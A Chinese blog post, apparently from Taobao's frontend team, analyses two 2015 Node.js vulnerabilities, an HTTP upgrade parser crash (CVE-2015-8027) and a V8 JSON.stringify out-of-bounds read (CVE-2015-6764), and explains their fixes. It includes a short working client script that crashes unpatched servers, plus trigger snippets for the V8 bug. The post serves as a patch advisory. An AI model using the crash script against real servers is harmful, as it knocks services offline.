Taobao FED

Node.js 2015-12-04 漏洞浅析

Node.js 2015-12-04 漏洞浅析

前言

Node.js 在 4 号放出了一个重要的更新,看了下更新日志,主要修复的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 这两个漏洞,影响版本还是比较多的,v5.1.0、v4.2.2、v0.12.8 及以下都有波及。在更新发布后,简单看了下漏洞的细节,在这里简单介绍下。

CVE-2015-8027 Denial of Service Vulnerability

这个漏洞看起来应该是 Node.js 开发者书写时的疏忽,在调用 parser.pause 方法时,没有判断 parser 是否存在,导致在特定情况运行时底层抛出 Type Error 错误,使进程崩溃。
主要涉及到下面的几个关键字:

  • highWaterMark
  • http method: UPGRADE
  • response 处理

highWaterMark

它是一个在创建流时可以修改大小的参数,作用跟字面意思差不多,高水位线。在 Readable Stream 中,用来控制底层读取前缓冲区资源的最多字节数;在 Writable Steam 中,用来控制写入时待处理缓冲区中最多存放的字节数。超过这个值时,会将 Steam 置为 pause 状态,这个操作便是触发这个漏洞的关键。看下代码,在 _http_server.js#454 parserOnIncoming 方法中:

function parserOnIncoming(req, shouldKeepAlive) {
  ...
  if (!socket._paused) {
    var needPause = socket._writableState.needDrain ||
      outgoingData >= socket._writableState.highWaterMark;
    if (needPause) {
      socket._paused = true;
      socket.pause();
    }
  }
  ...
}

​值得一提的是,这个值的调整,对 I/O 操作有一定的优化能力。它默认的值是 16KB,对于对象流则为 16。如果这个值设置的过小,会导致系统调用过于频繁;如果设置过大,那么会导致资源分配的浪费,所以修改需要谨慎。

UPGRADE

这是一个 HTTP/1.1 标准中提出的一种头部方法。当客户端发送 UPGRADE,并指定其他的通讯协议,如果服务器支持,则必须返回 101,并且将通讯协议进行转换。那么为什么它会用来触发这漏洞呢?

因为在 http server 升级协议时,会把当前用到的 parser 释放掉,导致 socket.parser 就变成了 null,自然在后面调用时就会出错。具体代码位置在 _http_server.js#371 onParserExecuteCommon 方法中:

function onParserExecuteCommon(ret, d) {
  if (ret instanceof Error) {
    debug('parse error');
    socket.destroy(ret);
  } else if (parser.incoming && parser.incoming.upgrade) {
    ...
    parser.finish();
    freeParser(parser, req, null);
    parser = null;
    ...
  }

  //修正前:
  //if (socket._paused) {
  if (socket._paused && socket.parser) {
    debug('pause parser');
    socket.parser.pause();
  }
}

所以,它就成了触发条件。

你可能会想,我的应用中没有用到 UPGRADE 方法,应该不会有影响吧?这其实跟你的应用中是否用了 UPGRADE 没有什么关系,这是在底层处理收到请求的过程中发生的错误,还没有到应用代码执行的层面,所以不是应用可控的。即使你监听了 upgrade 事件,它也是异步的,而且你也只是处理是否接受 UPGRADE 以及后续处理(比如:切断连接)的问题,一样会触发报错。

Response 处理

Node.js 在处理 Http 请求的响应时,使用了一个 outgoing 数组。在请求进来时,会创建一个 ServerResponse 对象,并将它 pushoutgoing 数组中。当响应内容过多时,会发生排队的情况,当数据量超过 highWaterMark 时,就会导致 socket 的 pause。这里面涉及到的更多的内容,以后再细说。这部分相关代码,在 _http_server.js#454 parserOnIncoming

function parserOnIncoming(req, shouldKeepAlive) {
  ...
  var res = new ServerResponse(req);
  res._onPendingData = updateOutgoingData;
  ...
  if (socket._httpMessage) {
    outgoing.push(res);
  } else {
    res.assignSocket(socket);
  }
  ...
}

实战

根据上面的介绍,可以看到,这个漏洞的触发过程大致如下:

  1. 向服务端快速的发送大量请求,使服务端对应 socket 触发 pause 状态。
  2. 发送 UPGRADE 请求,触发服务端进入 upgrade 处理。

我们先来写一个 server,当有请求来的时候,会写一个大小 1024 的 Buffer,这个大小随你控制,用 1024 比较好计算。

'use strict';
const http = require('http');
const PORT = 8989;
const chunk = new Buffer(1024);

chunk.fill('X');

var server = http.createServer(function(req, res) {
    res.end(chunk);
}).listen(PORT);

接下来写一个 client,用来发送请求,这里我们使用 net 模块来连接服务器并传输数据。在 client 里,要快速的发送请求,因为默认的 highWaterMark 大小是 16KB,所以我们发送 17 次请求,这样刚好超过它,触发 socket 的 pause 状态。然后发送一个 UPGRADE 请求,这样就会触发漏洞,导致服务器崩溃,具体代码如下:

'use strict';

const net = require('net');

var socket = net.connect(8989);

for (var i = 0; i < 17; i ++) {
  socket.write('GET / HTTP/1.1\r\n\r\n');
}

socket.write(
  'GET / HTTP/1.1\r\nConnection: upgrade\r\nUpgrade: ws\r\n\r\n'
);

测试结果

一般 Node.js 应用会返回页面,这个也要写入 Buffer 的,所以也会出现写入超量的问题。用上面的代码测试了几个未升级的应用,会导致应用进程退出,但线上应用一般会有进程守护,所以在量小的情况下,影响还可控。如果量很大,即使应用不会退出,但 worker 进程一直重启,应用的状态也不会良好。

另外,也可以在 Nginx 层面对连入请求进行过滤,是可以保护后面的 Node.js 应用的。

注意:请勿乱用

CVE-2015-6764 V8 Out-of-bounds Access Vulnerability

这是 V8 的一个 bug,跟 Node.js 的实现并没有关系,它涉及到的方法是 JSON.stringify。在这个方法的实现中,会用到被转换对象的 getter 和 toJSON 两个方法,如果我们重载了对象的这两个方法,那么就会影响到转换的结果。对于数组来说,如果在其中改变了数组的长度,那么最后结果会发生什么呢?先来看个例子:

var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
  toJSON: function() {
    array.length = 1;
    return 'obj';
  }
};
array[0] = obj;
JSON.stringify(array);

这段代码在这个漏洞没有修复之前,运行结果类似这种:

'["obj",null,128,3,4,5,6,7,8,9]'

显然,这个结果是错误的,因为 array 的长度变成了 1,后面的内容就不应该出现了。
在这个 bug 修复后的执行结果是这样的:

'["obj",null,null,null,null,null,null,null,null,null]'

同样的,重载 getter 方法:

var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
  get value() {
      array.length = 1;
      return "obj";
  }
};
array[0] = obj;
JSON.stringify(array);
//修复前
'[{"value":"obj"},null,128,3,4,5,6,7,8,9]'
//修复后
'[{"value":"obj"},null,null,null,null,null,null,null,null,null]'

更多测试用例,请看 regress-crbug-554946.js

在 V8 这个方法的之前的实现中,只是简单的遍历元素,然后根据对应的类型,进行相应的转换,形成结果。
[76a552]json-stringifier.h#L429

BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
    Handle<JSArray> object) {
  ...
  uint32_t length = 0;
  CHECK(object->length()->ToArrayLength(&length));
  builder_.AppendCharacter('[');
  Result result = SerializeJSArraySlow(object, length);
  ...
}

修正之后,多了对数组类型的判断,根据不同的类型,采取不同的转换方法:
[master]json-stringifier.h#430

BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
    Handle<JSArray> object) {
  ...
  switch(object->GetElementsKind()) {
    case FAST_SMI_ELEMENTS: {
      ...
    }
    case FAST_DOUBLE_ELEMENTS: {
      ...
    }
    case FAST_ELEMENTS: {
      Handle<Object> old_length(object->length(), isolate_);
      for (uint32_t i = 0; i < length; i++) {
        if (object->length() != *old_length ||
            object->GetElementsKind() != FAST_ELEMENTS) {
          Result result = SerializeJSArraySlow(object, i, length);
          if (result != SUCCESS) return result;
          break;
        }
        if (i > 0) builder_.AppendCharacter(',');
        Result result = SerializeElement(
            isolate_,
            Handle<Object>(FixedArray::cast(object->elements())->get(i),
                           isolate_),
            i);
        if (result == SUCCESS) continue;
        if (result == UNCHANGED) {
          builder_.AppendCString("null");
        } else {
          return result;
        }
      }
      break;
    }
    default: {
      ...
      Result result = SerializeJSArraySlow(object, 0, length);
      ...
    }

}

主要是在 FAST_ELEMENTS 这个类型上,它会在遍历是动态的计算数组的长度,如果数组长度发生变化,会根据新的长度,直接运行 SerializeJSArraySlow 方法得到最终结果,否则会一个一个元素的处理。

同时,SerializeJSArraySlow 方法也做了修改,增加了一个参数 start 用来标识遍历的起始值,不会每次都从 0 的位置开始遍历。

总体看来,这个 bug 的触发条件还是挺复杂的,一般很少会遇到。

总结

  • 细节对于代码质量,应用稳定性来说,很重要。特别是提供给别人用的库,一定要考虑全面
  • 很多异常的触发是很巧妙的,这是一个比较困扰的问题,测试贡献的能力也有限,不过也不能忽略测试,还是很重要的。
  • 请及时更新到修复后的版本,v5.1.1、v4.2.3、v0.12.9。

参考资料

5.1.1 发布 release